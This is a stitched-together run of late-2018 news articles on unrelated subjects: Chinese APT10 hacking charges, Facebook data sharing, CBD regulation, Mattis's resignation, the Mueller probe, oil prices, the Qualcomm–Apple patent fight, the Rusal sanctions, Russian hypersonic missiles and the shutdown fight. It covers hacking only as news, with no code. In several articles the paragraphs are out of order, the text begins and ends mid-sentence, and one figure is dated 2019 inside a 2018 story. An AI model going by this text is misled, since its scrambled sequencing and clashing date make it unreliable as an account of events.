them, putting them at an unfair disadvantage to their competitors," she said. Zhu Hua and Zhang Shilong are charged with conspiracy to commit computer intrusions and wire fraud, as well as aggravated identity theft, as part of years-long campaigns to steal from numerous foreign governments and dozens of companies. They remain at large. The Justice Department on Thursday announced charges against two Chinese nationals on charges of participating in a global hacking campaign to steal technology company secrets and intellectual property, as well as the personal data of more than 100,000 members of the U.S. Navy. Through a hacking group known as "Advanced Persistent Threat 10" or "APT10" as well as other names including "Red Apollo" and "Stone Panda" the defendants stole information from at least 45 U.S. tech companies and government agencies, authorities said. Prosecutors also accused the two of operating in conjunction with the Chinese government. "China will find it difficult to pretend that it is not responsible for this action," Deputy Attorney General Rod Rosenstein said at a press conference. Read the DOJ's charging document here. The indictment says Zhu and Zhang engaged in technology thefts that began in 2006 and a campaign to steal intellectual property and other data from remote-access client-management companies that started in 2014. Over the course of the latter campaign, the two accessed computers related to victim companies in "at least 12 countries," the filing alleges. "China's goal, simply put, is to replace the U.S. as the world's largest global superpower," FBI Director Christopher Wray said at the press conference. The defendants' group allegedly stole information from at least 45 U.S. technology companies and government agencies. Most of the companies were not named, though the document says that the agencies targeted included the Department of Energy's National Laboratory and NASA's jet propulsion lab. APT10 allegedly hacked into more than 40 computers connected to the U.S. Navy and stole confidential data, including "the personally identifiable information of more than 100,000 Navy personnel." They're also accused of hacking three communications technology companies, three companies "involved in manufacturing advanced electronic systems," a maritime technology company, an oil and gas company, and at least 25 other technology-related companies. The saying goes: ask for forgiveness, not permission. But when it comes to Facebook there's a common line of defense in response to persistent concerns over how it handles user data: We did it with permission. After the New York Times reported Facebook gave tech companies like Amazon, Microsoft, and Netflix special access to user data, including the ability to see private messages, the social media company answered "none of these partnerships or features gave companies access to information without people's permission." The problem, experts say, is that many users don't realize they are giving permission at all. "While it is true that some data sharing would have been expected by consumers, much of what was described in the reporting would not reasonably have been expected," said Brian Wieser, senior research analyst covering Facebook at Pivotal Research Group, in a note published Wednesday. A 2017 Deloitte survey of 2,000 U.S. consumers found 91 percent of respondents willingly accept legal terms and conditions without reading them before installing apps, registering Wi-Fi hotspots, accepting updates and signing into online services such as video streaming. That percentage increased to 97 percent among 18 to 34-year-olds. Facebook CEO Mark Zuckerberg admitted he knows this in an exchange with Wisconsin Senator Ron Johnson in a Senate hearing in April: JOHNSON: Do you have any idea how many of your users actually read the terms of service, the privacy policy, the statement of rights and responsibilities? I mean, actually read it? ZUCKERBERG: Senator, I do not. JOHNSON: Would you imagine it's a very small percentage? ZUCKERBERG: Senator, who read the whole thing? I would imagine that probably most people do not read the whole thing. But everyone has the opportunity to and consents to it. One of the problems for both users and companies like Facebook is defining consent in the first place. Michael Veale, a researcher in the science, technology, engineering and public policy of University College London, told CNBC Thursday consent in the U.S. is often based on a one-time approval of a company's terms and conditions. But he said the U.S. is moving in the direction of more European-style regulation. CBD buds of chocolate by Chronic Candy are displayed at the Big Industry Show at the Los Angeles Convention Center, Aug. 31, 2018 The Food and Drug Administration is looking for "pathways" to legalize the sale of CBD oil and other cannabis-based compounds in food and beverages in a move that could remove one of the last remaining legal hurdles for companies hoping to sell such products across state lines. FDA Commissioner Scott Gottlieb outlined steps the agency is considering in regulating cannabis products after President Donald Trump signed the farm bill into law on Thursday. The legislation an $867 billion, five-year spending bill that funds agricultural, nutrition and other federal programs also loosened some federal restrictions on cannabis. It legalized hemp by removing it from the Controlled Substances Act while preserving the FDA's authority to regulate the products. "I think it's really a game-changer," said Joshua Horn, a cannabis industry lawyer and partner at Fox Rothschild. "The significance is now you have some aspect of the cannabis world legalized on a federal basis." The changes to the farm bill are enough for Canadian cannabis company Canopy Growth to enter the U.S. market, CEO Bruce Linton said in a statement, adding that the company will also be able to support American farmers. "Canopy Growth will participate in the American market now that there is a clear federally-permissible path to the market," he said. Banks, which have been steering clear of handling hemp or cannabis-related business, also may be more apt to broker deals or process other transactions that they have previously avoided because the products weren't legal under federal laws, Fox Rothschild's Horn said. The FDA currently prohibits companies from adding CBD and THC to food, drinks and supplements and from making any therapeutic claims about their products. It also prohibits the sale of food, supplements and other products containing CBD across state lines. "We recognize the potential opportunities that cannabis or cannabis-derived compounds could offer and acknowledge the significant interest in these possibilities," Gottlieb said in a statement. "We're committed to pursuing an efficient regulatory framework for allowing product developers that meet the requirements under our authorities to lawfully market these types of products." Until the FDA adopts new rules, it will continue to enforce current restrictions around cannabis products. But in signaling it's willing to relax its stance, the FDA could spur even more interest in cannabis-derived products. Industry analysts have already expected a major boom in CBD short for cannabidiol oils, drinks and more. Consumers are increasingly interested in CBD, a non-psychoactive compound found in cannabis plants thought to help with a range of conditions, such as anxiety, sleep disorders and inflammation. Some companies are technically skirting federal law, already infusing coffee, cocktails, lotions and even pet treats with CBD. The FDA is "aware of the growing public interest in cannabis and cannabis-derived products," Gottlieb said. The FDA plans to hold a public meeting soon seeking input on how to legalize the marketing for cannabis-derived compounds and make sure the laws are more predictable and efficient. "While products containing cannabis and cannabis-derived compounds remain subject to the FDA's authorities and requirements, there are pathways available for those who seek to lawfully introduce these products into interstate commerce," Gottlieb said. "The FDA will continue to take steps to make the pathways for the lawful marketing of these products more efficient." In the meantime, the FDA will continue to go after companies that make egregious unproven claims. It has already issued warning letters to companies selling CBD products, including those that claim to fight cancer. Regardless of federal laws, companies have already started rolling out CBD products. The farm bill will likely accelerate this trend. So the FDA can either create ways to exercise some authority over the products or leave them largely unchecked. The FDA's recent approval of Epidiolex a cannabis-derived CBD drug shows that the regulatory body may be open to a gradual, controlled introduction of other products going forward, Horn said. That's not an easy task, considering that the country is still working through challenges of infrastructure and better connectivity. To hit that target, the president, popularly known as Jokowi, gave Arief the task of boosting tourism arrivals into the world's fourth-most populous country. In fact, Arief, who is Indonesia's tourism minister, has many ambitious targets. Indonesian President Joko Widodo has been vocal about his aim of attracting 20 million international visitors to his country by 2020. That's roughly twice the number of tourist arrivals since 2015. "We realized everyone in the world knows only Bali, That's why our president challenged me to create another 10 new Bali," Arief told CNBC in November. But Arief, a former chief executive of Indonesia's largest telecommunications firm, accepted the challenge. The minister told CNBC that Indonesia is projected to receive 16 million by the end of the year. That may fall short of the target of 20 million, but the number of tourist arrivals has grown by about 20 percent every year since he took office in October 2014. Arief credited the growth in tourist arrivals to deregulation in the sector. Only 15 countries' citizens could visit Indonesia without a visa in 2015. Today, citizens of 169 countries can enter visa free. The top item on Arief's agenda, however, is for Indonesia's tourism efforts to "go digital" which can be seen in his ministry's partnership with regional ride-hailing giant Grab. That's spurred in part by Arief's interest in growing his country's share of millennial tourists. Already, half of all international visitors to Indonesia are from that generation. "Millennials have their special needs ... they are very digital, so we have to provide them a digital environment," he said, adding that millennials are using social media app Instagram extensively and are looking for cheaper options through the sharing economy. Already, more than 70 percent of the marketing budget goes to digital players like Expedia, Baidu and Google, he said. Arief also addressed an issue which has been the subject of much debate on the island of Bali zero-dollar tours. Those are all-inclusive vacation packages sold at bargain prices, which many Chinese tourists purchase for their trips Bali. The island is attracting a significant increase in the number of foreign tourists from China. For the first time last year, Chinese tourists outnumbered Australians as the biggest group of foreign visitors to Bali. Arief said he found the zero-dollar tours concerning because he believes the tour operators running them are not properly licensed. They would not be able to give such cut-rate discounts, he said, if they were operating according to usual procedures. As for Chinese tourists in general, Arief said the Chinese were "preferred" customers. "In terms of size, they're the largest. In terms of growth, they're the largest. In terms of (foreign exchange) receipts, they're the largest," he said, adding that people denigrating Chinese tourists must be "competitors." WASHINGTON Defense Secretary James Mattis will step down at the end of February, telling President Donald Trump in a letter Thursday that he has "a right to have a Secretary of Defense whose views are better aligned with yours." In his extraordinary letter to Trump, Mattis said that a long-held "core belief" of his "is that our strength as a nation is inextricably linked to the strength of our unique and comprehensive system of alliances and partnerships." Without maintaining those alliances, he wrote, "we cannot protect our interests or serve" the role of an "indispensable nation in the free world." The president has frequently lashed out at America's allies in France, the United Kingdom, Canada and Germany, while at times appearing to side with U.S. adversaries over his own officials. "My views on treating allies with respect and also being clear-eyed about both malign actors and strategic competitors," Mattis said, "are strongly held and informed by over four decades of immersion in these issues." Read Mattis' full resignation letter here. Mattis' resignation letter, which a Pentagon spokeswoman said was hand-delivered to the president Thursday afternoon, comes on the heels of Trump's controversial plan to withdraw U.S. troops from Syria. That announcement on Wednesday will reportedly take more than 2,000 U.S. service members out of the country, ending the ground strategy against the Islamic State. Trump said in a tweet Wednesday morning that "we have defeated ISIS in Syria, my only reason for being there during the Trump Presidency." The move was met with heated criticism from a number of Trump's usual allies in Congress. But Russian President Vladimir Putin said that Trump made the "correct" move, because the U.S. troops had no legal right to be in Syria. On Thursday evening, defense officials told NBC News that the White House has ordered the Pentagon to look into plans for withdrawing troops from Afghanistan, as well. Trump had announced that Mattis "will be retiring, with distinction," in a pair of tweets Thursday. A new defense secretary "will be named shortly," Trump said. Trump tweet 2 A senior administration official told CNBC that Mattis told Trump he was resigning during a meeting Thursday. "He and the president had differences on some issues," the official said. Acting Attorney General Matthew Whitaker speaks to state and local law enforcement on efforts to combat violent crime and the opioid crisis in Des Moines, Iowa, November 14, 2018. Acting Attorney General Matthew Whitaker will not recuse himself from overseeing special counsel Robert Mueller's investigations despite a Justice Department ethics official recommending that he do so because of his past criticism of Mueller's probes. Whitaker's decision leaves him with the final say over whether to challenge Mueller's major investigative or prosecutorial actions as the special counsel continues to investigate Russian interference in the 2016 presidential election, and possible collusion by President Donald Trump's campaign in that effort. Mueller is also investigating whether Trump had obstructed justice by trying to thwart Russia-related probes. The president denies any wrongdoing. NBC News, citing a Justice Department official, reported Thursday afternoon that Whitaker, who was appointed by Trump as acting attorney general last month, was not required to seek a formal ethics recommendation on his authority over Mueller's investigation, and did not seek such a review. The official noted that Whitaker did not have a financial, familial or fiduciary link to a subject of Mueller's investigations. But Whitaker did request informal advice from an ethics officer at the department. That officer told Whitaker it was a "close call" about whether to recuse himself. But the officer also said that if they were the attorney general, "I would recuse," according to NBC News. That advice was based on a series of critical remarks Whitaker had made about Mueller's investigations prior to being named chief of staff to former Attorney General Jeff Sessions, who was fired last month by Trump. Whitaker rejected that guidance. Earlier Thursday, CNN and then NBC News had reported that Whitaker had been told by department ethics officials that he could continue to supervise Mueller. Those initial reports did not include the account that an ethics official had recommended he recuse himself. Whitaker's previous criticisms of Mueller's probe have worried several members of Congress, who question his ability to fairly oversee the special counsel's office. In May 2017, Whitaker told Fox News host Sean Hannity on the radio that Trump did not obstruct justice by urging then-FBI Director James Comey to drop a criminal investigation of Michael Flynn, Trump's first national security advisor. Flynn, a retired Army lieutenant general, later pleaded guilty to lying to FBI agents about his contacts with Russia's ambassador to the United States after the 2016 election. Whitaker, while doing commentary for CNN, in August 2017 wrote an op-ed for the news site saying that Mueller's probes risked becoming a "witch hunt," a term that Trump has also used to describe the investigations. Whitaker later speculated that he could imagine a scenario in which a new attorney general who succeeded Sessions did not fire Mueller, but cut his budget by so much "that his investigation grinds to almost a halt." The Justice Department has not responded to a request for comment by CNBC about Whitaker on Thursday. Deputy Attorney General Rod Rosenstein, who had been overseeing the Muller probes before Whitaker's appointment, was asked at a news conference Thursday what his current role is. "We'll have more for you on that later today," Rosenstein said. "In terms of my role, as we've described previously, we've continued to manage the investigation as we have in the past and it's being handled appropriately," Rosenstein said. "Whether it's Bob Mueller or Rod Rosenstein or Matt Whitaker or Bill Barr, that investigation's going to be handled appropriately by the Department of Justice." Rosenstein was also asked whether he believed, as some congressional lawmakers have argued, that legislation should be passed to protect Mueller from being fired. He also was asked if he thought Mueller's probe is under threat. "The investigation is being conducted in accordance with the department regulation, and nothing anybody says is going to affect that," Rosentein said. "So I believe that that investigation is being handled appropriately under the existing department regulations." Trump fired Whitaker's predecessor, Sessions, last month after ripping Sessions numerous times for recusing himself from the Russia probe. Mueller, a former FBI director, was brought in by the Justice Department to handle the existing Russian inquiry after Sessions recused himself from any involvement in that probe because of his own contact with Russia's ambassador before the election while supporting Trump's candidacy. Trump has nominated William Barr, a lawyer in private practice, to be his next attorney general. Barr, who in that position would have oversight over Mueller, previously served as attorney general under President George H.W. Bush. Also Thursday, Senate Minority Leader Chuck Schumer, D-N.Y., called on Trump to reconsider his nomination of Barr. Schumer said Barr should not be allowed to be attorney general because he wrote an unsolicited memo to the Justice Department claiming that Mueller's obstruction of justice inquiry was based on a "fatally misconceived" theory. "As I understand it, his theory is premised on a novel and legally insupportable reading of the law," Barr wrote in that memo this year, according to The Wall Street Journal. "Moreover, in my view, if credited by the Justice Department, it would have grave consequences far beyond the immediate confines of this case and would do lasting damage to the Presidency and to the administration of law within the Executive branch," Barr wrote. Schumer, in a statement Thursday, said, "Mr. Barr's memo reveals that he is fatally conflicted from being able to oversee the Special Counsel's investigation and he should not be nominated to be attorney general." "Mr. Barr believes presidents in general and more frighteningly, President Trump, who has shown less respect for the rule of law than any president are above the law," Schumer said. "The fact that he holds these deeply misguided views and chose to launch them in an unprovoked written attack on the Special Counsel unquestionably disqualifies Mr. Barr from serving as attorney general again." Software that originated at Microsoft is seeing major adoption at Google, a top Microsoft executive said on Wednesday. The open-source Visual Studio Code application works on many operating systems. It's a manifestation of the new Microsoft that's less centered on Windows and more willing to work with other technologies, and rivals. "The majority of Google developers are using it now," Chris Capossela, Microsoft's chief marketing officer, said on the Windows Weekly podcast, during a conversation with Leo Laporte, Mary Jo Foley and Paul Thurrott. "It's just been embraced. And it's because it works on all these platforms, and they've been so customer-centric that team." Google did immediately not respond to a request for comment about the remark. Visual Studio Code is available for Linux and MacOS, in addition to Windows. It has more than 4.5 million monthly active users, following its release in 2015. In this year's Stack Overflow survey of developers, Visual Studio Code -- sometimes referred to as VSCode -- was chosen as the most popular development environment, ahead of Microsoft's own proprietary Visual Studio software, as well as other tools for writing code, like Android Studio, Eclipse, Sublime Text and Vim. Meanwhile, in November public cloud market leader Amazon Web Services revealed that it's working on software that will make it easier to work with AWS resources from inside of Visual Studio Code. Capossela said that just as Microsoft cares about business adoption of its offerings, it remains focused on consumers, and education. "There's ... a business imperative that you've got to have software developers who are learning computer science in high school using VSCode," Capossela said. The technology has become something Microsoft executives point when they want to demonstrate the company's willingness to work across platforms. "VSCode is one of the most interesting products we've built as a company," Microsoft's chief financial officer, Amy Hood, said at the Deutsche Bank Technology Conference in September. After Visual Studio Code came out, Microsoft brought its proprietary SQL Server database software to Linux. And this year it acquired GitHub, the home of Visual Studio Code and many other open-source projects, it joined the Linux-centric Open Invention Network, and it opted to put the Chromium, the open-source technology behind Google's Chrome, at the core of its Edge web browser and contribute to Chromium. "I think for me, this was the year that people really started to see that open-source is something that is important to the company," Capossela said on Wednesday. WATCH: Microsoft CEO on GitHub acquisition A truck used to carry sand for fracking is washed in a truck stop in Odessa, Texas. Oil prices plunged to their lowest levels in over a year on Thursday, deepening a sell-off fueled by concerns about oversupply as stock markets slumped on rising U.S. interest rates. U.S. West Texas Intermediate crude ended Thursday's session down $2.29, or 4.8 percent, at $45.88, the lowest closing price since July 2017. WTI is now down about 24 percent this year. Brent crude, the international benchmark for oil prices, fell $2.89, or about 5 percent, to $54.35, its weakest settle since mid-September 2017. Brent has shed nearly 19 percent in 2019. Crude futures staged a rally in the previous session on signs of strong fuel demand in the United States. However, bearish reports out of Asia overnight added to worries on both the supply and demand sides of the oil market ledger. "There's just a really negative narrative out there," said John Kilduff, founding partner at energy hedge fund Again Capital. "The stars are just aligned right now in a bearish way." In India, crude oil imports in November registered their biggest year-over-year decline in almost four years, Reuters reported. Meanwhile, Asian oil buyers reported robust purchases of Saudi crude in January after the kingdom cut prices into the region, according to S&P Global Platts. Oil recouped some of the losses through the morning, but dropped sharply around noon, mirroring a pullback in the stock market. The Dow Jones Industrial Average dropped more than 450 points as equities were buffeted by the U.S. Federal Reserve's decision to raise its benchmark interest rate on Wednesday. Crude futures have now fallen more than 35 percent from their 52-week highs in early October. The market is grappling with surging supply from the world's top three producers the United States, Russia and Saudi Arabia at a time when demand for oil is expected to grow less than previously expected. To prevent a price-crushing glut, OPEC and 10 other producers including Russia agreed earlier this month to remove 1.2 million barrels per day from the market. But the production cuts do not take effect until January, and the announcement has so far done little to stop the collapse in crude prices. OPEC Secretary General Mohammed Barkindo is now calling on the allied producers to publicly release their production levels, Reuters reported on Thursday. The producers did not disclose that detail during a press conference earlier this month, leaving the market to question how much oil production each country would cut. Rudy Giuliani introduces Republican vice-presidential nominee Mike Pence during his campaign stop along side presidential nominee Donald Trump at the International Exposition Center on October 22, 2016 in Cleveland, Ohio. President Donald Trump's attorney, Rudy Giuliani, has his own ideas about how to best secure the southern border. In a phone interview with CNBC, Giuliani said that the best course of action may not be to build a "great wall," as the president has suggested. Rather, Giuliani said, Trump could be better off with a structure with advanced technology that could pick up immigrants trying to cross the border. "I don't see the magic in a wall, as long as there's some form of improved barrier that picks up penetration," said Giuliani, a former mayor of New York who represents Trump in the special counsel's Russia investigation. "I could build a wall for him with long-range cameras and security. He needs something. I think he'd compromise if he got most of what he wanted." Giuliani runs his own security firm, Giuliani Security & Safety, which is a subsidiary of his larger private company Giuliani Partners. Giuliani is defending Trump in the ongoing probe being conducted by special counsel Robert Mueller into whether Russian operatives colluded with members of Trump's campaign during the 2016 presidential election. Democrats and Republicans have been fighting about adding $5 billion in border wall funding to a short-term spending bill that would keep the government open until early February. Republican House leaders, along with members of the conservative House Freedom Caucus, met with Trump at the White House on Thursday. The president made it clear he would not sign the bill without some form of funding for border security, including a wall. Without a stopgap spending agreement, the government will partially shut down at the end of Friday. "We just had a very long, productive meeting with the president," Republican House Speaker Paul Ryan told reporters after he met with the president for more than an hour at lunchtime. "The president informed us that he will not sign the bill that came up from the Senate last evening because of his legitimate concerns for border security." Giuliani told CNBC that he had not talked to Trump about the issue recently, and that he was speaking for himself. Yet, Giuliani acknowledged that the president fully owns the notion of building a border wall. "I talked to him a lot during the campaign. He owns the wall. I can't tell you how many times I was at rallies when I heard 'build a wall, build a wall,'" Giuliani said. "The whole idea is that someone is offended about building a wall but they (the Democrats) all favored it years ago. That's political bull----." Giuliani said Trump's base would be "disappointed" if the president couldn't pull off some form of a wall but added that they would still support him going forward. "I think his constituents would accept it because you got to view his overall performance and he's delivered about everything but you can already hear that they would be disappointed in him," Giuliani said. "This wasn't a political gimmick. He believes in the wall." Conservative commentator Ann Coulter, who was one of Trump's most ardent supporters, has slammed the president for appearing to back off on the idea of shutting down the government over a lack of border wall funding. In a blog post on Wednesday, Coulter labeled Trump "gutless." "He's in trouble now. As absurd as the Russia nonsense is, the details about Trump's sleazy associates, the porn star, the Playboy playmate and his seedy business practices leave his supporters feeling queasy, even if he hasn't committed any crimes," she wrote. In Germany, Qualcomm is seeking a ban on some iPhones with chips from Intel. The judge ruled that phones that contain a combination of chips from Intel and Apple supplier Qorvo violated one of Qualcomm's patents around so-called envelope tracking, a feature that helps mobile phones save battery power while sending and receiving wireless signals. The German case is Qualcomm's third major effort to secure a ban on Apple's lucrative iPhones over patent infringement allegations after similar court efforts in the United States and in China. This is the second major win for Qualcomm against Apple after a Chinese court granted an injunction against Apple for an alleged patent violation on Dec. 10. But Qualcomm said in a press release that the injunction will be in effect as soon as it posts the required bonds. It said it would complete the process "within a few days." In a statement, Apple said it plans to appeal the ruling. Under this condition, Judge Matthias Zigann told the court earlier Thursday, the ruling would not go into immediate effect. However, Apple said that throughout the appeal process, iPhone 7 and iPhone 8 models will not be sold in its 15 retail stores in Germany. Its newest models, iPhone XS, iPhone XS Max and iPhone XR, will still be sold in those stores, Apple said in the statement. All iPhone models will still be sold through carriers and other third-party retailers in Germany, Apple said. Qualcomm was granted a second injunction against Apple on Thursday, banning it from selling some iPhone models in Germany that use chips from Intel and parts from another supplier, Qorvo. There was no clear reaction to the news in Apple's stock price, but it finished the day down 2.5 percent as tech stocks overall took a plunge. Apple said in a statement, "Qualcomm's campaign is a desperate attempt to distract from the real issues between our companies. Their tactics, in the courts and in their everyday business, are harming innovation and harming consumers. Qualcomm insists on charging exorbitant fees based on work they didn't do and they are being investigated by governments all around the world for their behavior. We are of course disappointed by this verdict and we plan to appeal. All iPhone models remain available to customers through carriers and resellers in 4,300 locations across Germany. During the appeal process, iPhone 7 and iPhone 8 models will not be available at Apple's 15 retail stores in Germany. iPhone XS, iPhone XS Max and iPhone XR will remain available in all our stores." In a statement, Qorvo's chief intellectual property counsel, Mike Baker, said: "We believe our envelope tracking chip does not infringe the patent in suit, and the court would have come to a different conclusion if it had considered all the evidence. We're disappointed that the inventor and designer of our chip, who attended the hearing, wasn't given the opportunity to testify or present other evidence that disproves Qualcomm's claim of infringement. The International Trade Commission has already determined that our envelope tracker chip does not infringe the U.S. counterpart to the patent at issue in this case. We currently do not expect that this decision will have any impact on our business with Apple." Steven Rodgers, Intel's general counsel, said in a blog post that "Qualcomm's goal is not to vindicate its intellectual property rights, but rather to drive competition out of the market for premium modem chips, and to defend a business model that ultimately harms consumers." In a press release, Don Rosenberg, Qualcomm's general counsel and an executive vice president, said, "Two respected courts in two different jurisdictions just in the past two weeks have now confirmed the value of Qualcomm's patents and declared Apple an infringer, ordering a ban on iPhones in the important markets of Germany and China." Qualcomm sued Apple in the regional court in Munich in July of last year, seeking an injunction to halt some iPhone sales in Germany as well as monetary damages. The case is part of a broader court conflict between the two, in which Apple has alleged that Qualcomm engaged in anti-competitive business practices to protect a monopoly on its modem chips, which help mobile phones connect to wireless data networks. The U.S. Federal Trade Commission has also sued Qualcomm over its business practices in a case set to go to trial in California next month. Apple had tried to pre-empt a ban based on a different feature by altering its software in Germany, the Financial Times reported Wednesday. Reuters contributed to this report. Subscribe to CNBC on YouTube. Watch: Apple to file with Chinese court for reconsideration Oleg Deripaska, billionaire and president of United Co. Rusal in 2015. The U.S. Treasury will lift sanctions on the core empire of Russian businessman Oleg Deripaska, including aluminium giant Rusal and its parent En+, watering down the toughest penalties imposed since Moscow's 2014 annexation of Crimea. In April, the U.S. Treasury imposed sanctions on Deripaska, Rusal, En+ and other companies in which he owns stakes, citing "malign activities" by Russia, prompting turmoil in global aluminium markets. After lobbying by European governments, Washington postponed enforcement of the sanctions and started talks with Deripaska's team on removing Rusal and En+ from the blacklist if he ceded control of Rusal. Deripaska will remain under sanctions, the Treasury said. However, the three Deripaska companies - Rusal, En+ and power firm EuroSibEnergo - have agreed to restructure to reduce Deripaska's stakes. Rusal shares soared as much as 26.8 percent on Thursday to their highest since April, the month when the sanctions were announced. "These companies have committed to significantly diminish Deripaska's ownership and sever his control," the Treasury said in a statement on Wednesday, adding that the sanctions would be lifted in one month. The Irish government, which lobbied heavily in Washington for the removal of sanctions to protect 600 jobs at an alumina plant, said the move was "a very welcome return" on those efforts. The Aughinish Alumina plant will be free from the threat of sanctions following a 30-day Congressional review period, the Irish foreign ministry said in a statement. The facility churns out a third of Europe's alumina, a material used to make aluminium. Prices for aluminium CMAL3 fell to $1,911 a tonne after the Treasury statement, their lowest since August last year. Rusal, the world's second largest aluminium producer after China's Hongqiao 1378.HK, was not immediately available for comment. The London Metal Exchange said that it would lift its suspension on aluminium produced by Rusal if the U.S. sanctions were removed. The deal, agreed with the Office of Foreign Assets Control (OFAC) in the United States, will prevent Deripaska obtaining cash or receiving future dividends from the companies. His stake in En+ will fall from 70 percent to 44.95 percent. The deal also includes Swiss company Glencore, or its subsidiary, swapping shares in Rusal for a direct ownership interest in En+. Glencore declined to comment. VTB Bank, Russia's second-largest lender, or another assignee approved by OFAC, will take ownership of a block of Deripaska's shares in En+ pledged as collateral for outstanding obligations. Deripaska will also donate a block of shares to a charitable foundation and assign any voting rights above 35 percent of En+ shares to a voting trust. Several shareholders with professional or family ties to him will also assign their voting rights to an independent third party. As part of the agreement, half of En+'s restructured board of directors will be U.S. or UK nationals and Rusal's current board chairman will step down. En+ will create a board of 12 directors, with eight directors independent of Deripaska, in 30 days. After the restructuring En+ will no longer be subject to sanctions and will own a 56.88 percent stake in Rusal, retaining its right to nominate Rusal's chief executive. Deripaska will retain a direct shareholding interest in Rusal of just 0.01 percent. Russian President Vladimir Putin attends a ceremony to bestow state awards on military personnel who fought in Syria, at the Kremlin in Moscow on December 28, 2017. "What we are seeing with this particular weapon is that the Russians designed it to have a dual-purpose capability, meaning, it can be used against a target on land as well as a vessel at sea," one source explained. "Last week's successful test showed that the Russians were able to achieve sustained flight, a feat that is crucial in the development of hypersonic weapons." The last known test of the device, dubbed "Tsirkon," was successfully conducted Dec. 10 and reached a top speed of Mach 8, approximately eight times the speed of sound, or about two miles per second. The people, who spoke to CNBC on the condition of anonymity, said Russia has carried out five total tests of its ship-based hypersonic missile since 2015. WASHINGTON Russia has conducted another successful test of its ship-based hypersonic missile, a weapon the United States is currently unable to defend against, according to two people with direct knowledge of a U.S. intelligence report. The U.S. intelligence report, according to one source, noted that production of the missile is slated to begin in 2021 and it will join the Kremlin's arsenal no earlier than 2022. The latest development means the U.S. will have to make up even more ground as Russia and China bolster their arsenals with hypersonic weapons at a breakneck pace. Yet, James Acton, co-director of the Nuclear Policy Program at the Carnegie Endowment for International Peace, countered notions that Russian and Chinese developments would eclipse U.S. hypersonic efforts. "I don't necessarily agree with the characterization that the U.S. is on its back foot. All of the evidence I see is that the U.S. has significantly more ambitious goals than the Russians and Chinese," he said. "I don't want to pretend that these developments are irrelevant and that the U.S. can just ignore them. Clearly, there is a qualitative increase in the threat level with the development of a missile like Tsirkon, which is significant." Acton added: "But my point is that the breathless reaction you often hear to these developments, I think, can be overestimated." Read more: Hypersonic weapons: What they are, and why the U.S. can't defend against them The revelations about the ship-based missile come a little more than nine months after Russian President Vladimir Putin touted his nation's growing hypersonic arsenal as "invincible." Moscow's sprint to field this new breed of weapon has sparked fears over a budding arms race. "I want to tell all those who have fueled the arms race over the last 15 years, sought to win unilateral advantages over Russia, introduced unlawful sanctions aimed to contain our country's development: You have failed to contain Russia," Putin said during his March national address. Of the six weapons Putin unveiled in March, CNBC has learned that two of them will be ready for war by 2020, according to sources with direct knowledge of U.S. intelligence reports. Meanwhile, the Pentagon awarded two multimillion-dollar hypersonic weapon contracts to Lockheed Martin earlier this year. When asked about Moscow's race to develop hypersonic weapons, the Pentagon reiterated an outstanding request to bring Russia back into compliance with the Intermediate-Range Nuclear Forces, or INF, Treaty. "U.S. concerns right now are focused on bringing Russia back into compliance with current treaties and international agreements," Defense Department spokesman Eric Pahon told CNBC. In October, Trump announced his decision to withdraw from the INF Treaty, a Cold War-era agreement between the world's two greatest nuclear powers. Russia, Trump said, has violated the arms agreement by building and fielding the banned weapons "for many years." The treaty, signed in 1987 by President Ronald Reagan and Soviet Union leader Mikhail Gorbachev, prohibited the development and deployment of midrange nuclear-tipped missiles. The agreement forced each country to dismantle more than 2,500 missiles with ranges of 310 to 3,420 miles from their arsenals. In short, the treaty has kept nuclear-tipped missiles off the European continent for the last 30 years. On Thursday, Putin criticized the U.S. move to withdraw from the nuclear treaty and warned that a nuclear war should not be discounted. "They're making another step, and they are withdrawing from the INF treaty, so what's going to come out of that? It's hard to imagine what will come next," Putin said during an annual news conference. Fears about a partial government shutdown grew Thursday as President Donald Trump left the door open to vetoing a short-term spending bill expected to pass Congress. The Senate has approved a bill to keep the government running through Feb. 8. But it was unclear Thursday morning whether the House would pass it or if Trump would sign it ahead of the midnight Friday deadline to keep the government running. Some GOP members pushed for changes to the legislation, such as Trump's desired $5 billion to fund his border wall or more disaster relief money. The president met with House Republicans at noon Thursday as lawmakers scrambled to find a way forward, White House press secretary Sarah Huckabee Sanders said. At least House Speaker Paul Ryan, Majority Leader Kevin McCarthy, Majority Whip Steve Scalise and conservative stalwarts Reps. Jim Jordan and Mark Meadows were set to attend, according to NBC News. Trump "does not want to go further without border security, which includes steel slats or a wall," Sanders said. Trump started to make "steel slats" synonymous with a "wall" Thursday morning, though he has previously promised his supporters to "build a wall" and make Mexico pay for it. In a vague tweet Thursday morning, Trump expressed frustration with Congress. He said he was "promised the Wall and Border Security" when he "begrudgingly signed" an omnibus spending bill earlier this year. "It didn't happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good!" Trump wrote, while continuing not to divulge whether he would sign the spending measure. The president also threatened to veto the omnibus bill earlier this year before signing it. President Donald J. Trump in the Roosevelt Room at White House on Tuesday, Dec. 18, 2018 in Washington, DC. Jabin Botsford | The Washington Post | Getty Images The legislation the Senate passed would fund seven government agencies, including the Department of Homeland Security, at their current levels through Feb. 8. Trump has lamented a lack of money for his proposed border wall, a key campaign promise that tripped up talks in Congress. The Senate unanimously approved the legislation Wednesday. But a House GOP conference meeting Thursday morning sparked confusion about whether the chamber could pass it amid simmering opposition within the caucus. House Republicans appeared to wait for a signal of Trump's support before voting for the spending measure. The House GOP caucus huddled Thursday morning, and leaders reportedly could not assure members that Trump would sign the bill. The leaders then canceled a news conference after Ryan took an emergency call from the president. Republicans claimed they delayed the event due to the meeting running long and votes taking place on the floor, according to NBC News. Honduran caravan members look through through the fence at the US-Mexico border wall at Friendship park in San Ysidro, California on November 18, 2018. Sandy Huffaker | AFP | Getty Images McCarthy told members that they would hold another conference meeting later Thursday to discuss funding, NBC reported. It is unclear when that meeting would take place. House Minority Leader Nancy Pelosi has said Democrats will support the short-term funding bill. At a news conference Thursday, Pelosi said Republicans "are in a state of disarray" or a "meltdown." She reiterated that wall funding "is a nonstarter" for her party in a spending bill. Senate Minority Leader Chuck Schumer also said House Republicans can "pound their fists on the table" all they want, but it's "not going to get a wall." If the House passes the bill and Trump signs it, lawmakers will dodge the third government shutdown this year and delay the ongoing immigration debate until Democrats hold a House majority next year. But Trump who said last week that he would be "proud" to shut down the government over border security has left the door open to vetoing the bill. The hard-line GOP House Freedom Caucus and Trump's allies in the conservative media have urged him not to sign legislation that does not fund the barrier. U.S. President Donald Trump's choice for attorney general, William Barr, said in a memo earlier this year that part of Justice Department special counsel Robert Mueller's investigation is "fatally misconceived," The Wall Street Journal reported on Wednesday. The comment was made in a 